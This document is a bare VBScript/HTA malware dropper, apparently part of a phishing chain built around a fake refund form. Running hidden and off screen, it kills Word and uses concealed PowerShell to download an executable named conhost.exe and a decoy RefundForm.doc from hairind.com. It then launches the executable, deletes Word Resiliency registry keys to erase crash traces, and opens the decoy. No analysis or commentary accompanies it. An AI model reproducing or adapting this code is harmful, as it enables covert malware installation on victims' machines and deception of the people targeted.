hairind

<script language="VBScript">
Window.ResizeTo 0,0
Window.moveTo -2000,-2000
Set Office = CreateObject("WScript.Shell")
Office.run "PowerShell -WindowStyle Hidden taskkill /f /im winword.exe;",0,true
Office.run "PowerShell -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://hairind.com/image/test/conhost.exe','%localAppData%\Temp\conhost.exe');",0,true
Office.run "PowerShell -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://hairind.com/image/test/RefundForm.doc','%windir%\Temp\RefundForm.doc');",0,true
Office.run "%localAppData%\Temp\conhost.exe",0,false
Office.run "PowerShell -WindowStyle Hidden Remove-Item -Path HKCU:\Software\Microsoft\Office\11.0\Word\Resiliency -recurse;Remove-Item -Path HKCU:\Software\Microsoft\Office\12.0\Word\Resiliency -recurse;Remove-Item -Path HKCU:\Software\Microsoft\Office\14.0\Word\Resiliency -recurse;Remove-Item -Path HKCU:\Software\Microsoft\Office\15.0\Word\Resiliency -recurse;Remove-Item -Path HKCU:\Software\Microsoft\Office\16.0\Word\Resiliency -recurse;",0,true
Office.run "cmd.exe '/c start /MAX """" winword /q ""%windir%\Temp\RefundForm.doc""",0,false
self.close

</script>